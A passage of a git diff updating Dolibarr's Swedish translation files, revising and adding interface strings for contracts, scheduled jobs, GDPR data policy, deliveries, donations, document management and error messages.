kontrakt AllContracts=Alla kontrakt -ContractCard=Kontrakt kort -ContractStatusNotRunning=Inte kör -ContractStatusDraft=Förslag +ContractCard=Kontraktkort +ContractStatusNotRunning=Inte igång +ContractStatusDraft=Utkast ContractStatusValidated=Bekräftat ContractStatusClosed=Stängt -ServiceStatusInitial=Inte löpande -ServiceStatusRunning=Löpande -ServiceStatusNotLate=Löpande, inte löpt ut +ServiceStatusInitial=Inte pågående +ServiceStatusRunning=Pågående +ServiceStatusNotLate=Pågående, inte löpt ut ServiceStatusNotLateShort=Inte löpt ut -ServiceStatusLate=Löpande, löpt ut -ServiceStatusLateShort=Utgångna +ServiceStatusLate=Pågående, löpt ut +ServiceStatusLateShort=Utgånget ServiceStatusClosed=Stängt ShowContractOfService=Visa servicekontrakt Contracts=Kontrakt -ContractsSubscriptions=Avtal / Prenumerationer -ContractsAndLine=Kontrakt och kontraktslängd +ContractsSubscriptions=Avtal/prenumerationer +ContractsAndLine=Kontrakt och kontraktsrader Contract=Kontrakt -ContractLine=Kontraktslinje -Closing=Stängning +ContractLine=Kontraktsrad +ContractLines=Kontraktsrader +Closing=Stänger NoContracts=Inga kontrakt MenuServices=Tjänster -MenuInactiveServices=Tjänster inte aktiv -MenuRunningServices=Löpande tjänster -MenuExpiredServices=Utlöpta tjänster +MenuInactiveServices=Tjänster inte aktiva +MenuRunningServices=Pågående tjänster +MenuExpiredServices=Utgångna tjänster MenuClosedServices=Stängda tjänster NewContract=Nytt kontrakt -NewContractSubscription=Nytt avtal eller abonnemang +NewContractSubscription=Nytt avtal eller prenumeration AddContract=Skapa kontrakt -DeleteAContract=Ta bort ett kontrakt +DeleteAContract=Ta bort kontrakt ActivateAllOnContract=Aktivera alla tjänster CloseAContract=Stäng ett kontrakt ConfirmDeleteAContract=Är du säker på att du vill radera detta kontrakt och alla dess tjänster? -ConfirmValidateContract=Är du säker på att du vill bekräfta detta kontrakt under namnet %s ? +ConfirmValidateContract=Är du säker på att du vill bekräfta kontrakt under namnet %s? ConfirmActivateAllOnContract=Detta öppnar alla tjänster (ännu inte aktiva). Är du säker på att du vill öppna alla tjänster? -ConfirmCloseContract=This will close all services (expired or not). Are you sure you want to close this contract? -ConfirmCloseService=Är du säker på att du vill stänga den här tjänsten med datum %s ? -ValidateAContract=Bekräfta ett kontrakt +ConfirmCloseContract=Detta kommer att stänga alla tjänster (förfallna eller inte). Är du säker på att du vill avsluta det här avtalet? +ConfirmCloseService=Är du säker på att du vill stänga den här tjänsten med datum %s? +ValidateAContract=Bekräfta kontrakt ActivateService=Aktivera tjänsten -ConfirmActivateService=Är du säker på att du vill aktivera den här tjänsten med datum %s ? -RefContract=Avtalsreferens +ConfirmActivateService=Är du säker på att du vill aktivera den här tjänsten med datum %s? +RefContract=Kontraktsreferens DateContract=Kontraktsdatum DateServiceActivate=Aktiveringsdatum för tjänst -ListOfServices=Förteckning över tjänster -ListOfInactiveServices=Förteckning över ej aktiva tjänster -ListOfExpiredServices=Förteckning över utlöpta aktiva tjänster +ListOfServices=Lista över tjänster +ListOfInactiveServices=Lista över inaktiva tjänster +ListOfExpiredServices=Lista över utgångna aktiva tjänster ListOfClosedServices=Lista över stängda tjänster -ListOfRunningServices=Förteckning över löpande tjänster +ListOfRunningServices=Lista över pågående tjänster NotActivatedServices=Inaktiva tjänster (bland bekräftades kontrakt) -BoardNotActivatedServices=Tjänster att aktivera bland bekräftades kontrakt +BoardNotActivatedServices=Tjänster att aktivera bland bekräftade kontrakt BoardNotActivatedServicesShort=Tjänster att aktivera -LastContracts=Senaste %s kontrakten -LastModifiedServices=Senaste %s modifierade tjänster +LastContracts=Senaste %s kontrakt +LastModifiedServices=Senaste %s ändrade tjänster ContractStartDate=Startdatum ContractEndDate=Slutdatum DateStartPlanned=Planerat startdatum @@ -65,31 +66,31 @@ DateStartRealShort=Verkligt startdatum DateEndReal=Verkligt slutdatum DateEndRealShort=Verkligt slutdatum CloseService=Stäng tjänst -BoardRunningServices=Aktiva tjänster -BoardRunningServicesShort=Aktiva tjänster -BoardExpiredServices=Avslutade tjänster -BoardExpiredServicesShort=Avslutade tjänster +BoardRunningServices=Pågående tjänster +BoardRunningServicesShort=Pågående tjänster +BoardExpiredServices=Utgångna tjänster +BoardExpiredServicesShort=Utgångna tjänster ServiceStatus=Status för tjänst -DraftContracts=Utkast avtal +DraftContracts=Avtalsutkast CloseRefusedBecauseOneServiceActive=Kontraktet kan inte stängas eftersom det finns minst en öppen tjänst på den -ActivateAllContracts=Aktivera alla kontraktslinjer -CloseAllContracts=Stäng alla kontrakt linjer -DeleteContractLine=Ta bort ett kontrakt linje -ConfirmDeleteContractLine=Är du säker på att du vill radera denna kontraktslängd? -MoveToAnotherContract=Flytta tjänster i ett annat avtal. -ConfirmMoveToAnotherContract=Jag valde ny målavtal och bekräfta jag vill flytta den här tjänsten i detta avtal. -ConfirmMoveToAnotherContractQuestion=Välj i vilket befintligt kontrakt (av samma tredje part), vill du flytta denna tjänst till? -PaymentRenewContractId=Förnya kontrakt linje (nummer %s) +ActivateAllContracts=Aktivera alla kontraktsrader +CloseAllContracts=Stäng alla kontraktsrader +DeleteContractLine=Radera en kontraktsrad +ConfirmDeleteContractLine=Är du säker på att du vill radera denna kontraktsrad? +MoveToAnotherContract=Flytta tjänster till ett annat avtal. +ConfirmMoveToAnotherContract=Jag valde nytt målavtal och bekräftar att jag vill flytta den här tjänsten i detta avtal. +ConfirmMoveToAnotherContractQuestion=Välj vilket befintligt kontrakt (hos samma tredjepart) du vill flytta denna tjänst till? +PaymentRenewContractId=Förnya kontrakt %s (tjänst %s) ExpiredSince=Utgångsdatum NoExpiredServices=Inga utgångna aktiva tjänster ListOfServicesToExpireWithDuration=Förteckning över tjänster som löper ut inom %s dagar ListOfServicesToExpireWithDurationNeg=Förteckning över tjänster som löpt ut sedan mer än %s dagar ListOfServicesToExpire=Förteckning över tjänster som löper ut -NoteListOfYourExpiredServices=Denna förteckning omfattar endast tjänster från avtal med tredje part i förhållande till vilka du är säljare. +NoteListOfYourExpiredServices=Denna förteckning omfattar endast tjänster från avtal med tredjepart i förhållande till vilka du är säljare. StandardContractsTemplate=Standardkontrakt mall ContactNameAndSignature=För %s, namn och underskrift: -OnlyLinesWithTypeServiceAreUsed=Endast rader med typ "Service" kommer att klonas. -ConfirmCloneContract=Är du säker på att du vill klona kontraktet %s ? +OnlyLinesWithTypeServiceAreUsed=Endast rader med typ "Tjänst" kommer att klonas. +ConfirmCloneContract=Är du säker på att du vill klona kontraktet %s? LowerDateEndPlannedShort=Lägre planerat slutdatum för aktiva tjänster SendContractRef=Upphandlingsinformation __REF__ OtherContracts=Övriga kontrakt @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Undertecknande kontrakt kundkontakt HideClosedServiceByDefault=Dölj avslutade tjänster som standard ShowClosedServices=Visa avslutade tjänster HideClosedServices=Dölj avslutade tjänster +UserStartingService=Användarstarttjänst +UserClosingService=Användarstängningstjänst diff --git a/htdocs/langs/sv_SE/cron.lang b/htdocs/langs/sv_SE/cron.lang index c0dd13b0651..957ca64b110 100644 --- a/htdocs/langs/sv_SE/cron.lang +++ b/htdocs/langs/sv_SE/cron.lang @@ -26,7 +26,7 @@ CronCommand=Kommando CronList=Schemalagda jobb CronDelete=Radera schemalagda jobb CronConfirmDelete=Är du säker på att du vill ta bort dessa schemalagda jobb? -CronExecute=Starta planerat jobb +CronExecute=Kör nu CronConfirmExecute=Är du säker på att du vill utföra dessa schemalagda jobb nu? CronInfo=Schemalagd arbetsmodul gör det möjligt att schemalägga jobb för att utföra dem automatiskt. Jobb kan också startas manuellt. CronTask=Jobb @@ -58,7 +58,7 @@ CronNote=Kommentar CronFieldMandatory=Fält %s är obligatoriskt CronErrEndDateStartDt=Slutdatum kan inte vara före startdatum StatusAtInstall=Status vid modulinstallation -CronStatusActiveBtn=Schemalägg +CronStatusActiveBtn=Aktivera schemaläggning CronStatusInactiveBtn=Inaktivera CronTaskInactive=Detta arbete är inaktiverat (ej schemalagt) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Gå till menyn "Hem - Adminverktyg JobDisabled=Jobb inaktiverat MakeLocalDatabaseDumpShort=Lokal databas säkerhetskopia MakeLocalDatabaseDump=Skapa en lokal databasdump. Parametrarna är: komprimering ('gz' eller 'bz' eller 'none'), säkerhetskopieringstyp ('mysql', 'pgsql', 'auto'), 1, 'auto' eller filnamn att bygga, antal backupfiler för att hålla +MakeSendLocalDatabaseDumpShort=Skicka säkerhetskopiering av lokal databas +MakeSendLocalDatabaseDump=Skicka säkerhetskopiering av lokal databas via e-post. Parametrarna är: till, från, ämne, meddelande, filnamn (namn på fil som skickades), filter ('sql' endast för säkerhetskopiering av databas) +BackupIsTooLargeSend=Tyvärr, den senaste säkerhetskopian är för stor för att skickas med e-post +CleanUnfinishedCronjobShort=Städa oavslutat cronjob +CleanUnfinishedCronjob=Rensa cronjob som har fastnat i bearbetningen när processen inte längre körs WarningCronDelayed=Uppmärksamhet, för prestationsändamål, vad som än är nästa datum för utförande av aktiverade jobb, kan dina jobb försenas till högst %s timmar innan de körs. DATAPOLICYJob=Resning och anonymisering av data JobXMustBeEnabled=Jobb %s måste vara aktiverat +EmailIfError=E-post för varning vid fel +ErrorInBatch=Fel vid körning av jobbet %s + # Cron Boxes LastExecutedScheduledJob=Senast utfört schemalagda arbete NextScheduledJobExecute=Nästa schemalagda arbete att köra NumberScheduledJobError=Antal schemalagda arbete med fel +NumberScheduledJobNeverFinished=Antal schemalagda jobb aldrig avslutade diff --git a/htdocs/langs/sv_SE/datapolicy.lang b/htdocs/langs/sv_SE/datapolicy.lang new file mode 100644 index 00000000000..dc2f51f319c --- /dev/null +++ b/htdocs/langs/sv_SE/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Sekretesspolicy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul för att hantera sekretess (i enlighet med GDPR) + +# +# Administration page +# +datapolicySetup = Inställning av sekretesspolicy +Deletion = Radering av data +datapolicySetupPage = Beroende på lagarna i ditt land (exempelvis artikel 5 i GDPR) måste personuppgifter sparas under en period som inte överstiger vad som är nödvändigt för de ändamål för vilka de samlades in, förutom för arkivändamål.
      Raderingen kommer att göras automatiskt efter en viss varaktighet utan händelse (längden som du kommer att ha angett nedan). +NB_MONTHS = %s månader +ONE_YEAR = 1 år +NB_YEARS = %s år +DATAPOLICY_TIERS_CLIENT = Kund +DATAPOLICY_TIERS_PROSPECT = Prospekt +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospekt/kund +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Inte prospekt eller kund +DATAPOLICY_TIERS_FOURNISSEUR = Leverantör +DATAPOLICY_CONTACT_CLIENT = Kund +DATAPOLICY_CONTACT_PROSPECT = Prospekt +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospekt/kund +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Inte prospekt eller kund +DATAPOLICY_CONTACT_FOURNISSEUR = Leverantör +DATAPOLICY_ADHERENT = Medlem +DATAPOLICY_Tooltip_SETUP = Typ av kontakt - ange dina val för varje typ. +DATAPOLICYMail = E-postinställningar +DATAPOLICYSUBJECTMAIL = Ärenderad för e-post +DATAPOLICYCONTENTMAIL = Innehållet i e-post +DATAPOLICYSUBSITUTION = Du kan använda följande variabler i din e-post (LINKACCEPT gör det möjligt att skapa en länk som registrerar personens samtycke, LINKREFUSED gör det möjligt att registrera personens nekande): +DATAPOLICYACCEPT = Meddelande efter överenskommelse +DATAPOLICYREFUSE = Meddelande efter oenighet +SendAgreementText = Du kan skicka e-post angående GDPR till alla dina relevanta kontakter (som ännu inte har fått ett mejl och som du inte har registrerat något för om deras GDPR-avtal). För att göra detta, använd följande knapp. +SendAgreement = Skicka e-post +AllAgreementSend = All e-post har skickats +TXTLINKDATAPOLICYACCEPT = Text för länken "godkänn" +TXTLINKDATAPOLICYREFUSE = Text för länken "neka" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: hantering av personuppgifter +DATAPOLICY_consentement = Samtycke inhämtat för behandling av personuppgifter +DATAPOLICY_opposition_traitement = Motsätter sig hantering av personuppgifter +DATAPOLICY_opposition_prospection = Motsätter sig hantering av personuppgifter i prospekteringssyfte + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymisera en tredjepart +DATAPOLICY_POPUP_ANONYME_TEXTE = Du kan inte ta bort den här kontakten från Dolibarr eftersom det finns relaterade objekt. I enlighet med GDPR kommer du att göra all denna data anonym för att uppfylla dina skyldigheter. Vill du fortsätta? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilitet GDPR +DATAPOLICY_PORTABILITE_TITLE = Export av personuppgifter +DATAPOLICY_PORTABILITE_CONFIRMATION = Du vill exportera den här kontaktens personuppgifter. Är du säker? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymiserade %s + +# V2 +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_date = Datum för godkännande/nekande av GDPR +DATAPOLICY_send = Datum då sekretessförfrågan skickats +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_SEND = Skicka GDPR-förfrågan +MailSent = E-post har skickats + +# ERROR +ErrorSubjectIsRequired = Fel: Ämnet för e-post är obligatoriskt. Ange det i modulinställningen +=På grund av ett tekniskt problem kunde vi inte registrera ditt val. Vi ber om ursäkt för det. Kontakta oss för att skicka oss ditt val. +NUMBER_MONTH_BEFORE_DELETION = Antal månader före radering diff --git a/htdocs/langs/sv_SE/deliveries.lang b/htdocs/langs/sv_SE/deliveries.lang index a2260392827..2f9d5d3b544 100644 --- a/htdocs/langs/sv_SE/deliveries.lang +++ b/htdocs/langs/sv_SE/deliveries.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - deliveries Delivery=Leverans DeliveryRef=Er referens -DeliveryCard=Kvittokort +DeliveryCard=Kvitto DeliveryOrder=Leveranskvitto DeliveryDate=Leveransdatum CreateDeliveryOrder=Skapa orderbekräftelse DeliveryStateSaved=Leveransstatus sparad SetDeliveryDate=Ställ in leveransdatum ValidateDeliveryReceipt=Bekräfta leveranskvitto -ValidateDeliveryReceiptConfirm=Är du säker att du vill bekräfta denna leveranskvittering? -DeleteDeliveryReceipt=Radera leveranskvittens +ValidateDeliveryReceiptConfirm=Är du säker att du vill bekräfta denna leverans? +DeleteDeliveryReceipt=Radera leverans DeleteDeliveryReceiptConfirm=Är du säker att du vill ta bort orderbekräftelse %s? -DeliveryMethod=Leveransmetod -TrackingNumber=Spårningsnummer -DeliveryNotValidated=Leverans är inte bekräftat -StatusDeliveryCanceled=Annullerad +DeliveryMethod=Leveranssätt +TrackingNumber=Spårnummer +DeliveryNotValidated=Leverans är inte bekräftad +StatusDeliveryCanceled=Avbruten StatusDeliveryDraft=Utkast StatusDeliveryValidated=Mottagna # merou PDF model -NameAndSignature=Namn och Signatur: -ToAndDate=To___________________________________ den ____ / _____ / __________ +NameAndSignature=Namn och signatur: +ToAndDate=Till___________________________________ den ____ / _____ / __________ GoodStatusDeclaration=Har tagit emot varan ovan i gott skick, -Deliverer=Bud: +Deliverer=Speditör: Sender=Avsändare Recipient=Mottagare ErrorStockIsNotEnough=Det finns inte tillräckligt i lager @@ -30,4 +30,4 @@ NonShippable=Inte sändbara ShowShippableStatus=Visa leveransstatus ShowReceiving=Visa orderbekräftelse NonExistentOrder=Icke-existerande ordning -StockQuantitiesAlreadyAllocatedOnPreviousLines = Lagerkvantiteter som redan tilldelats på tidigare rader +StockQuantitiesAlreadyAllocatedOnPreviousLines = Lagerantal som redan tilldelats på tidigare rader diff --git a/htdocs/langs/sv_SE/dict.lang b/htdocs/langs/sv_SE/dict.lang index ec142df29fe..df5d09a060c 100644 --- a/htdocs/langs/sv_SE/dict.lang +++ b/htdocs/langs/sv_SE/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint Barthelemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Mrs +CivilityMMEShort=Mrs CivilityMR=Mr +CivilityMRShort=Mr CivilityMLE=Ms CivilityMTRE=Master CivilityDR=Doktor diff --git a/htdocs/langs/sv_SE/donations.lang b/htdocs/langs/sv_SE/donations.lang index d8c64be326e..1b18f536261 100644 --- a/htdocs/langs/sv_SE/donations.lang +++ b/htdocs/langs/sv_SE/donations.lang @@ -1,35 +1,35 @@ # Dolibarr language file - Source file is en_US - donations Donation=Donation Donations=Donationer -DonationRef=Donation ref. +DonationRef=Donationsref. Donor=Givare AddDonation=Skapa en donation NewDonation=Ny donation -DeleteADonation=Ta bort en gåva -ConfirmDeleteADonation=Är du säker att du vill ta bort denna gåva? -PublicDonation=Offentliga donation -DonationsArea=Donationer område -DonationStatusPromiseNotValidated=Förslag löfte +DeleteADonation=Radera donatio +ConfirmDeleteADonation=Är du säker att du vill ta bort denna donation? +PublicDonation=Offentlig donation +DonationsArea=Donationsområde +DonationStatusPromiseNotValidated=Utkast löfte DonationStatusPromiseValidated=Bekräftat löfte -DonationStatusPaid=Donation fått -DonationStatusPromiseNotValidatedShort=Förslag -DonationStatusPromiseValidatedShort=Bekräftat +DonationStatusPaid=Donation mottagen +DonationStatusPromiseNotValidatedShort=Utkast +DonationStatusPromiseValidatedShort=Bekräftad DonationStatusPaidShort=Mottagna -DonationTitle=Donation kvitto +DonationTitle=Donationskvitto DonationDate=Donationsdatum DonationDatePayment=Betalningsdag ValidPromess=Bekräfta löfte -DonationReceipt=Donation kvitto -DonationsModels=Dokument modeller för donation kvitton -LastModifiedDonations=Senast %s ändrade gåvor -DonationRecipient=Donation mottagaren -IConfirmDonationReception=Mottagaren förklarar mottagning, som en donation, av följande belopp -MinimumAmount=Minsta belopp är% s -FreeTextOnDonations=Fri text för att visa i sidfoten +DonationReceipt=Donationskvitto +DonationsModels=Dokumentmodeller för donationskvitton +LastModifiedDonations=Senast %s ändrade donationer +DonationRecipient=Donation mottagare +IConfirmDonationReception=Mottagaren tar, som donation, emot följande belopp +MinimumAmount=Minsta belopp är %s +FreeTextOnDonations=Fritext att visa i sidfot FrenchOptions=Alternativ för Frankrike -DONATION_ART200=Visar artikel 200 från CGI om du är orolig -DONATION_ART238=Visar artikel 238 från CGI om du är orolig -DONATION_ART885=Visar artikel 885 från CGI om du är orolig +DONATION_ART200=Visar artikel 200 från CGI om du är berörd +DONATION_ART238=Visar artikel 238 från CGI om du är berörd +DONATION_ART885=Visar artikel 885 från CGI om du är berörd DonationPayment=Donation DonationValidated=Gåva %s bekräftad DonationUseThirdparties=Använd en befintlig tredjepart som givarkoordinator diff --git a/htdocs/langs/sv_SE/ecm.lang b/htdocs/langs/sv_SE/ecm.lang index 39aaeec209c..f15b706395a 100644 --- a/htdocs/langs/sv_SE/ecm.lang +++ b/htdocs/langs/sv_SE/ecm.lang @@ -5,8 +5,9 @@ ECMSectionManual=Manuell katalog ECMSectionAuto=Automatisk katalog ECMSectionsManual=Manuell struktur ECMSectionsAuto=Automatisk struktur +ECMSectionsMedias=Mediaträd ECMSections=Kataloger -ECMRoot=ECM Root +ECMRoot=ECM-root ECMNewSection=Ny katalog ECMAddSection=Lägg till katalog ECMCreationDate=Datum för skapande @@ -14,36 +15,38 @@ ECMNbOfFilesInDir=Antalet filer i katalogen ECMNbOfSubDir=Antal underkataloger ECMNbOfFilesInSubDir=Antalet filer i underkataloger ECMCreationUser=Skapare -ECMArea=DMS/ECM yta -ECMAreaDesc=Med DMS / ECM-området (Document Management System / Electronic Content Management) kan du spara, dela och söka snabbt alla typer av dokument i Dolibarr. -ECMAreaDesc2=* Automatisk kataloger fylls automatiskt när man lägger till dokument från kort av ett element.
      * Manuell kataloger kan användas för att spara dokument inte är knutna till ett visst element. -ECMSectionWasRemoved=Mapp %s har tagits bort. -ECMSectionWasCreated=Mapp %s har skapats. -ECMSearchByKeywords=Sök på nyckelord -ECMSearchByEntity=Sök på objektet -ECMSectionOfDocuments=Register över handlingar +ECMArea=DMS/ECM område +ECMAreaDesc=Med DMS/ECM-området (Document Management System/Electronic Content Management) kan du spara, dela och söka snabbt i alla typer av dokument. +ECMAreaDesc2a=* Manuella kataloger kan användas för att spara dokument som inte är kopplade till ett visst element. +ECMAreaDesc2b=* Automatiska kataloger fylls automatiskt när du lägger till dokument från sidan av ett element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. +ECMSectionWasRemoved=Katalogen %s har raderats. +ECMSectionWasCreated=Katalogen %s har skapats. +ECMSearchByKeywords=Sök nyckelord +ECMSearchByEntity=Sök objekt +ECMSectionOfDocuments=Register över dokument ECMTypeAuto=Automatisk ECMDocsBy=Dokument länkade till %s -ECMNoDirectoryYet=Ingen katalog skapas +ECMNoDirectoryYet=Ingen katalog skapad ShowECMSection=Visa katalog -DeleteSection=Ta bort katalog -ConfirmDeleteSection=Vänligen bekräfta att du vill ta bort mappen %s? +DeleteSection=Radera katalog +ConfirmDeleteSection=Bekräfta att du vill ta bort katalogen %s? ECMDirectoryForFiles=Relativ katalog för filer -CannotRemoveDirectoryContainsFilesOrDirs=Borttagning är inte möjlig eftersom det innehåller några filer eller underkataloger -CannotRemoveDirectoryContainsFiles=Borttagning är inte möjlig eftersom det innehåller några filer -ECMFileManager=Filhanteraren +CannotRemoveDirectoryContainsFilesOrDirs=Borttagning är inte möjlig eftersom den innehåller några filer eller underkataloger +CannotRemoveDirectoryContainsFiles=Borttagning är inte möjlig eftersom den innehåller filer +ECMFileManager=Filhanterare ECMSelectASection=Välj en mapp i strukturen... -DirNotSynchronizedSyncFirst=Den här katalogen verkar vara skapad eller modifierad utanför ECM-modulen. Du måste klicka på "Resync" -knappen först för att synkronisera skivan och databasen för att hämta innehåll i den här katalogen. +DirNotSynchronizedSyncFirst=Den här katalogen verkar vara skapad eller ändrad utanför ECM-modulen. Du måste klicka på knappen "Uppdatera" först för att synkronisera hårddisken och databasen för att hämta innehåll i den här katalogen. ReSyncListOfDir=Uppdatera lista med mappar HashOfFileContent=Hash av filinnehåll -NoDirectoriesFound=Inga mappar funna +NoDirectoriesFound=Inga kataloger funna FileNotYetIndexedInDatabase=Filen är inte indexerad i databasen (försök ladda upp igen) -ExtraFieldsEcmFiles=Extrafields Ecm Files -ExtraFieldsEcmDirectories=Extrafields Ecm-kataloger -ECMSetup=ECM-inställning -GenerateImgWebp=Kopiera alla bilder med en annan version med .webp-format -ConfirmGenerateImgWebp=Om du bekräftar kommer du generera en bild i .webp format för alla bilder som finns i denna mapp (undermappar är inte inkluderade) +ExtraFieldsEcmFiles=Extrafält ECM-filer +ExtraFieldsEcmDirectories=Extrafält ECM-kataloger +ECMSetup=ECM-inställningar +GenerateImgWebp=Duplicera alla bilder i en annan version med .webp-format +ConfirmGenerateImgWebp=Om du bekräftar kommer du generera en bild i .webp-format för alla bilder som finns i denna mapp (undermappar är inte inkluderade) ConfirmImgWebpCreation=Bekräfta kloning av alla bilder -SucessConvertImgWebp=Bilder blev klonade -ECMDirName=Dir name -ECMParentDirectory=Parent directory +SucessConvertImgWebp=Bilder har klonats +ECMDirName=Katalognamn +ECMParentDirectory=Överordnad katalog diff --git a/htdocs/langs/sv_SE/errors.lang b/htdocs/langs/sv_SE/errors.lang index 189b2c6584e..59bdf290077 100644 --- a/htdocs/langs/sv_SE/errors.lang +++ b/htdocs/langs/sv_SE/errors.lang @@ -9,11 +9,12 @@ ErrorBadMXDomain=E-post %s verkar felaktig (domänen har ingen giltig MX-post) ErrorBadUrl=Url %s är felaktig ErrorBadValueForParamNotAString=Dåligt värde för din parameter. Det lägger till i allmänhet när översättning saknas. ErrorRefAlreadyExists=Referens %s finns redan. -ErrorTitleAlreadyExists=Title %s already exists. +ErrorTitleAlreadyExists=Titel %s finns redan. ErrorLoginAlreadyExists=Logga %s finns redan. ErrorGroupAlreadyExists=Grupp %s finns redan. ErrorEmailAlreadyExists=E-post %s finns redan. ErrorRecordNotFound=Spela in hittades inte. +ErrorRecordNotFoundShort=Hittades inte ErrorFailToCopyFile=Det gick inte att kopiera filen "%s" till "%s". ErrorFailToCopyDir=Misslyckades att kopiera katalogen ' %s ' i ' %s '. ErrorFailToRenameFile=Det gick inte att byta namn på filen '%s "till" %s ". @@ -28,9 +29,9 @@ ErrorThisContactIsAlreadyDefinedAsThisType=Denna kontakt redan har definierats s ErrorCashAccountAcceptsOnlyCashMoney=Detta bankkonto är en kontant-konto, så det tar emot betalningar av typ kontanter endast. ErrorFromToAccountsMustDiffers=Källa och mål bankkonton måste vara olika. ErrorBadThirdPartyName=Dåligt värde för tredje parts namn -ForbiddenBySetupRules=Forbidden by setup rules +ForbiddenBySetupRules=Förbjudet enligt inställningsregler ErrorProdIdIsMandatory=%s är obligatoriskt -ErrorAccountancyCodeCustomerIsMandatory=The accountancy code of customer %s is mandatory +ErrorAccountancyCodeCustomerIsMandatory=Bokföringskoden för kunden %s är obligatorisk ErrorBadCustomerCodeSyntax=Dålig syntax för kundkod ErrorBadBarCodeSyntax=Dålig syntax för streckkod. Kan du ställa in en dålig streckkodstyp eller du definierade en streckkodsmask för numrering som inte matchar värdet skannat. ErrorCustomerCodeRequired=Kunden som erfordras @@ -48,6 +49,7 @@ ErrorBadImageFormat=Bildfilen har inte ett format som stöds (Din PHP stöder in ErrorBadDateFormat=Värde "%s" har fel datumformat ErrorWrongDate=Datum är inte korrekt! ErrorFailedToWriteInDir=Misslyckades med att skriva i katalogen %s +ErrorFailedToBuildArchive=Det gick inte att bygga arkivfilen %s ErrorFoundBadEmailInFile=Hittade felaktig e-syntax för %s rader i filen (t.ex. linje %s med email = %s) ErrorUserCannotBeDelete=Användaren kan inte raderas. Kanske är det associerat med Dolibarr-enheter. ErrorFieldsRequired=Vissa obligatoriska fält har lämnats tomma. @@ -67,7 +69,7 @@ ErrorDestinationAlreadyExists=En annan fil med namnet %s finns redan. ErrorPartialFile=Handlingar den mottagit inte helt av server. ErrorNoTmpDir=Tillfälliga directy %s inte existerar. ErrorUploadBlockedByAddon=Ladda upp blockeras av en PHP / Apache plugin. -ErrorFileSizeTooLarge=File size is too large or file not provided. +ErrorFileSizeTooLarge=Filstorleken är för stor eller filen tillhandahålls inte. ErrorFieldTooLong=Fältet %s är för långt. ErrorSizeTooLongForIntType=Storlek för lång för int typ (%s siffror max) ErrorSizeTooLongForVarcharType=Storlek för lång för sträng typ (%s tecken max) @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Vänligen fyll i värde för krysslista ErrorNoValueForRadioType=Vänligen fyll i värde för radiolista ErrorBadFormatValueList=Listvärdet kan inte ha mer än ett komma: %s , men behöver minst en: nyckel, värde ErrorFieldCanNotContainSpecialCharacters=Fältet %s får inte innehålla specialtecken. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Fältet %s får inte innehålla specialtecken eller stora bokstäver och kan inte innehålla enda nummer. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Fältet %s får inte innehålla specialtecken, inte heller versaler och måste börja med ett alfabetiskt tecken (a-z) ErrorFieldMustHaveXChar=Fältet %s måste ha minst %s tecken. ErrorNoAccountancyModuleLoaded=Ingen bokföring modul aktiverad ErrorExportDuplicateProfil=Detta profilnamn finns redan för denna export. @@ -86,18 +88,18 @@ ErrorCantSaveADoneUserWithZeroPercentage=Kan inte spara en åtgärd med "status ErrorRefAlreadyExists=Referens %s finns redan. ErrorPleaseTypeBankTransactionReportName=Var god ange kontoutdragsnamnet där posten ska rapporteras ErrorRecordHasChildren=Misslyckades med att radera rekord eftersom det har några barnrekord. -ErrorRecordHasAtLeastOneChildOfType=Object %s has at least one child of type %s +ErrorRecordHasAtLeastOneChildOfType=Objekt %s har minst en underkategori av typen %s ErrorRecordIsUsedCantDelete=Kan inte radera posten. Den används redan eller ingår i ett annat objekt. ErrorModuleRequireJavascript=Javascript måste inte avaktiveras att ha denna funktion fungerar. Aktivera / inaktivera Javascript, gå till menyn Hem-> Inställningar-> Display. ErrorPasswordsMustMatch=Båda skrivit lösenord måste matcha varandra ErrorContactEMail=Ett tekniskt fel uppstod. Vänligen kontakta administratören till följande email %s och ge felkoden %s i ditt meddelande, eller lägg till en skärmkopia av den här sidan. ErrorWrongValueForField=Fält %s : ' %s ' överensstämmer inte med regexregeln %s -ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed +ErrorHtmlInjectionForField=Fält %s : Värdet ' %s ' innehåller inte tillåten data ErrorFieldValueNotIn=Fält %s : ' %s ' är inte ett värde som finns i fält %s av %s ErrorFieldRefNotIn=Fält %s : ' %s ' är inte en %s existerande referens +ErrorMultipleRecordFoundFromRef=Flera poster hittades vid sökning från ref %s . Inget sätt att veta vilket ID du ska använda. ErrorsOnXLines=%s hittade fel ErrorFileIsInfectedWithAVirus=Antivirusprogrammet inte har kunnat bekräfta (fil kan vara smittade av ett virus) -ErrorSpecialCharNotAllowedForField=Speciella tecken är inte tillåtna för användning i fält "%s" ErrorNumRefModel=En hänvisning finns i databasen (%s) och är inte förenligt med denna numrering regel. Ta bort post eller bytt namn hänvisning till 